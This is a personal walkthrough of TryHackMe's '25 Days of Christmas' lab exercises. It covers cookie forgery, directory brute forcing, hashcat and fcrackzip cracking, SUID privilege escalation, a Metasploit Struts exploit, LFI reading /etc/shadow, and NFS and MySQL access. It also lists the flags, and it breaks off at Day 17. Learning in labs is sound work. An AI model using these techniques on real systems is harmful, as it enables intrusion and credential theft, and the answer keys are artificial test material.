3.1 25Days Christmas

Date	@Jun 19, 2020
Progress	approved
Tags	Post Meeting Practical Tryhackme Week 3

Day 1: Inventory Management

In this lab were to learn about cookies and manipulate them.

1. What is the name of the authentication cookies?
    - Deploy the virtual machine
    - Use the ipaddress to connect to get the page using http://<your ipaddress>:3000
    - Then to get the name first we have to store the cookie
    - So register as a user
    - Then use the information for login
    - After login in right click on the browser and click on inspect element
    - Go to cookies and you will find the name
    - Ans: authid
2. If you decode the cookie, what is the value of the fixed part of the cookie?

- Copy the cookie value
- After studying about cookie we know that it is encode in base64
- So decode the cookie value from base64
- We come to finding that the first part is our username remaining part is random
- Ans: v4er9ll1!ss

3. After accessing his account, what did the user mcinventory request?
    - For checking the mcinventory request we first have to login as mcinventory
    - Replace the username with the mcinventory and concatenate it with the static part from above
    - Convert the total string into base64, login and get the answer
    - Ans: firewall

Day 2: Arctic Forum

1. Download the necessary files
2. Run the below command to search for the pages that are accessible

```
./dirsearch.py -w directory-list-2.3-medium.txt -u http://10.10.223.85:3000 -e javascript
```

3. What is the path of the hidden page?

Ans: /sysadmin

4. What is the password that you found?

a. Get the admin login page

b. Check the source code

c. You will find that there is information about the creator and github page

d. Go to github page

password: defaultpass

5. What do you have to take to the 'partay'?

a. Use the username and password to log in as admin

Ans: Eggnog

Day 3: Evil Elf

1. Whats the destination IP on packet number 998?

   Download pcap network file

   Load the file in the wireshark

   Go to packet 998 and get the destination address

   ⇒ `63.32.89.195`

2. What item is on the Christmas list?

   Search the telnet protocol on the filter

   Search through each packet

   ⇒ `ps4`

3. Crack buddy's password!

   Get the hashed value of the password

   Store the value in a file named buddy

   ```
   hashcat -m 1800 ./buddy ./rockyou.txt --force
   # -m = mode, 1800 for $6
   # rockyou.txt = list of texts to be hashed
   ```

Day 4: Training

1. How many visible files are there in the home directory(excluding ./ and ../)?

   ⇒ `8`

2. What is the content of file5?

   cat file5

   ⇒ `recipes`

3. Which file contains the string ‘password’?

   ```
   grep -H -r password
   # -H = display the name of file
   # -r = search all the files recursively
   ```

   ⇒ `file6`

4. What is the IP address in a file in the home folder?

   ```
   grep -e [0-9][0-9]\.
   ```

⇒ `10.0.0.05`

5. How many users can log into the machine?

   Number of users = mcsysadmin, ec2-user and root

   Ans: 3

6. What is the sha1 hash of file8?

   ```
   sha1sum file8
   ```

   `fa67ee594358d83becdd2cb6c466b25320fd2835`

7. What is the mcsysadmin's password hash?

   Check the permission of the shadow file → no permission

   check for the backup of the shadow file

   ```
   find / | grep "shadow.bak"  --> /var/shadow.bak
   ```

   `$6$jbosYsU/$qOYToX/hnKGjT0EscuUIiIqF8GHgokHdy/Rg/DaB.RgkrbeBXPdzpHdMLI6cQJLdFlS4gkBMzilDBYcQvu2ro/`

Day 5: Ho-Ho-Hosint

1. What is Lola's date of birth? Format: Month Date, Year(e.g November 12, 2019)

   Download the image and use exiftool and get creator name Jlolax1

   ```
   exiftool thegrinch.jpg
   ```

   Search for the creator in the browser and go to twitter

   Ans: December 29, 1900

2. What is Lola's current occupation?

   Check the twitter

   Ans: Santa's Helper

3. What phone does Lola make?

   Ans: iPhone X

4. What date did Lola first start her photography? Format: dd/mm/yyyy

   1. Use the wordpress site given on the twitter
   2. Go the wayback machine and use the url

   3. Go to dec 23, 2019 and you'll see the five year celebratoion

   Ans: 23/10/2014

5. What famous woman does Lola have on her web page?

   1. Download the picture
   2. use the url google.com/imgph to search google with the picture

   Ans: ada lovelace

Day 6: Data Elf-iltration

1. What data was exfiltrated via DNS?

   Download the pcap file and load in the wireshark

   filter the dns protocol keyword

   Get the hex code and convert it to string

   Ans: Candy Cane Serial Number 8491

2. What did Little Timmy want to be for Christmas?

   filter the http protocol in the wireshark

   export all the returned objects

   extract the file → contains the password

   use the brute force technique as

   ```
   fcrackzip -b --method 2 -D -p rockyou.txt -v ./christmaslist.zip
   #install fcrackzip
   # -b = bruteforcing
   # method = 2 -> zip files
   # -D = Dictionary values
   # -v = verify the password
   #password obtained

   unzip christmaslist.zip
   cat christmaslisttimmy
   ```

   Ans: PenTester

3. What was hidden within the file?

   Install the steghide tool

   ```
   steghide extract -sf ./Tryhackme.jpg
   ```

   Ans: RFC527

Day 7: Skilling UP

1. how many TCP ports under 1000 are open?

   ```
   nmap -sT -A -p 1-999 10.10.26.217
   # -sT = perform three way handshake
   # -A = give information about the services
   # -p = specify ports
   ```

   Ans: 3

2. What is the name of the OS of the host?

   ```
   sudo nmap -sT -A -p -O 1-999 10.10.26.217
   # -O = detect os on host machine
   ```

   Ans: Linux

3. What version of SSH is running?

   Ans: 7.4

4. What is the name of the file that is accessible on the server you found running?

   - Open the browser
   - type 10.10.26.217:999 → socket address

   Ans: interesting.file

Day 8: SUID Shenanigans

1. What port is SSH running on?

   ```
   nmap -sT -A -p- 10.10.2.194
   ```

   Ans: 65534

2. Find and run a file as igor. Read the file /home/igor/flag1.txt.

   - Find the files owned by the igor with uid set
   - The commands are find and nmap

   ```
   find /home/igor/flag1.txt -exec cat {} \;
   #{} used to reference the file found
   #; used to terminate the exec
   #\ used as escape character
   ```

Ans: THM{d3f0708bdd9accda7f937d013eaf2cd8}

3. Find another binary file that has the SUID bit set. Using this file, can you become the root user and read the /root/flag2.txt file?

```
#find the files with permission of root and suid
find / -user root -perm -4000 -exec ls -al {} \; 2>/dev/null | grep bin
#lists all the files in the bin with suid
```

- check all the files listed

```
#among then run system-control
/usr/bin/system-control
cat /root/flag2.txt
```

Ans : THM{8c8211826239d849fa8d6df03749c3a2}

Day 9: Requests

```
import requests
import json

host="http://10.10.169.100:3000"
path="/"
value = ''

while(1):
        response = requests.get(host+path)
        print(response)
        status = response.status_code
        print(status)
        text = response.text
        print(text)
        txt = json.loads(text)
        if(txt['next']=="end"):
                break
        value = value + txt['value']
        path = "/"+txt['next']

print(value)
```

Ans: sCrIPtKiDd

Day 10: Metasploit-a-ho-ho

1. Compromise the web server using Metasploit. What is flag1?

- run the metasploit console
- use the struts_content module

- scan for the open ports

  ```
  db_nmap -sV <ip-address>
  ```

- find the port address of the apache server
- set the RHOST to target machine and RPORT to port number of apche
- For TARGETURI go to browser and type the socket address
- We get /showcase.actions as the TARGETURI
- set LHOST to tun0
- set PAYLOAD to linux metremeter

```
#run exploit
run (or exploit)
#to find the seach type find
find / | grep flag1 -> no find funciton
#to implement find command
shell #runs the shell
#find the flag1.txt
find / | grep -i flag1
# -i = do not care about the case sensitive
```

Ans: THM{3ad96bb13ec963a5ca4cb99302b37e12}

2. Now you've compromised the web server, get onto the main system. What is Santa's SSH password?

```
#go to home
cd /home
#go to santa directory and print the file
```

Ans: rudolphrednosedreindeer

3. Who is on line 148 of the naughty list?

To check the 148th line

```
sed  -n 148p naughty_list
```

Ans: Melisa Vanhoose

4. Who is on line 52 of the nice list?

Ans: Lindsey Gaffney

Day 11: Elf Application

1. What is the password inside the creds.txt file?

```
#scan the network wtith nmap
nmap -sV -A <ip-address>
#ftp, nfs and SQL server running
sudo showmount -e <ip-address> #shows the path that can be mounted
sudo mount IP:/opt/files /home/kali/Downloads
cat creds.txt
Ans: securepassword123
```

2. What is the name of the file running on port 21?

```
ftp ip-addres
#the server is communicating in binary mode
binary
#download the file
get file.txt
cat file.txt # provides the MySQL database username and password
```

3. What is the password after enumerating the database?

```
#connect to the sql server
mysql -h <ip-addr> -u root -p ff912ABD*
#check databases
show databases;
use data;
show tables;
select * from USERS;
Ans: bestpassword
```

Day 12: ElfCryption

1. What is the md5 hashsum of the encrypted note1 file?

```
md5sum note1.txt.gpg
Ans: 24cf615e2a4f42718f2ff36b35614f8f
```

2. Where was elf Bob told to meet Alice?

```
#decrypt the note1.txt.gpg
gpg -d note1.txt.gpg
passphrase = 25daysofchristmas
Ans: Santa's Grotto
```

3. Decrypt note2 and obtain the flag!

```
#decrypt note2 using the private key
openssl rsautl -decrypt -inkey private.key -in note2_encrypted.txt -out note2.txt
passphrase: hello

#print the flag
cat note2.txt

Ans: THM{ed9ccb6802c5d0f905ea747a310bba23}
```

Day 13: Accumulate

1. A web server is running on the target. What is the hidden directory which the website lives on?

```
#check the port
nmap -sV <ip-addr>
#search the directory using brute forcing
./dirsearch.py -u <ip-addr> -w ./DirBuster-Lists/directory-list-2.3-small.txt -e html
Ans: /retro
```

2. Gain initial access and read the contents of user.txt.

```
#1. Use the ipaddress and above route to go into the web page
#2. In the webpage we can go to the wade who is the author
#3. In read player one, there is a comment which consist of the password of wade
#4. Now use remmina to use the terminal of the host

sudo apt-get install remmina
#run remmina
#read the content of user.txt
Ans: THM{HACK_PLAYER_ONE}
```

Day 14: Unknown Storage

1. What is the name of the file you found?
    - Go to web browser and type
    - advent-bucket-one.region-name.amazonaws.com
    - Ans: employee_names.txt
2. What is in the file?
    - advent-bucket-one.region-name.amazonaws.com/employee_names.txt
    - Ans: mcchef

Day 15: LFI

1. What is Charlie going to book a holiday to?
    - type the ip address on the browser
    - Ans: Hawaii
2. Read /etc/shadow and crack Charlies password.

```
#type <ip-address>/?include=%2fetc%2fshadow
#returns nothing new
#intercept the request with burpsuite
#change
/get-file/%2fetc%2fshadow
#return the password
#store the password in file name charlie.txt
#crack the password using hashcat
hashcat -m 1800 charlie.txt rockyou.txt --force
Ans: password1
```

3. What is flag1.txt?

```
#check the port services using nmap
nmap -sV <ip-address>
#ssh service running on port 22
#connect to network using ssh connection
ssh charlie@10.10.6.233
Ans: THM{4ea2adf842713ad3ce0c1f05ef12256d}
```

Day 16: File Confusion

1. How many files did you extract(excluding all the .zip files)?

```
#code for  extracting the final-final-compressed zip
import zipfile

file = 'final-final-compressed.zip'

with zipfile.ZipFile(file, 'r') as zip_file:
    zip_file.extractall('./final')

#code for extracting other zip files
import zipfile
import os

file_list = os.listdir('./final')
length = len([name for name in os.listdir('./final')])

for i in range(length):
    with zipfile.ZipFile('./final/'+file_list[i],'r') as zip_file:
       zip_file.extractall('./extractall')

#count the total files
import os
length = len(os.listdir('./extractall'))
print(length)

Ans: 50
```

2. How many files contain Version: 1.1 in their metadata?

```
import exiftool
import os

files = os.listdir('./extractall')
length = len(files)
os.chdir('./extractall')
print(os.getcwd())

with exiftool.ExifTool() as et:
        metadata = et.get_metadata_batch(files)

for i in metadata:
        print(i)
```

In the above code two things needs to be done to use exiftool

1. install the exiftool executable file

```
sudo apt-get install exiftool
```

2. install exiftool in python

```
pip3 install pyExifTool
```

Execute the code in the shell as

```
python3 1_exiftool.py | grep "1.1"
```

Ans: 3

3. Which file contains the password?

```
#using the grep to read the password
grep -H "password" *
#return binary error
grep -a -H "password" *
```

```
# -a = read binary text as ascii
# -H = print the file where match occurs
```

Day 17: Hydra-ha-ha-haa

1.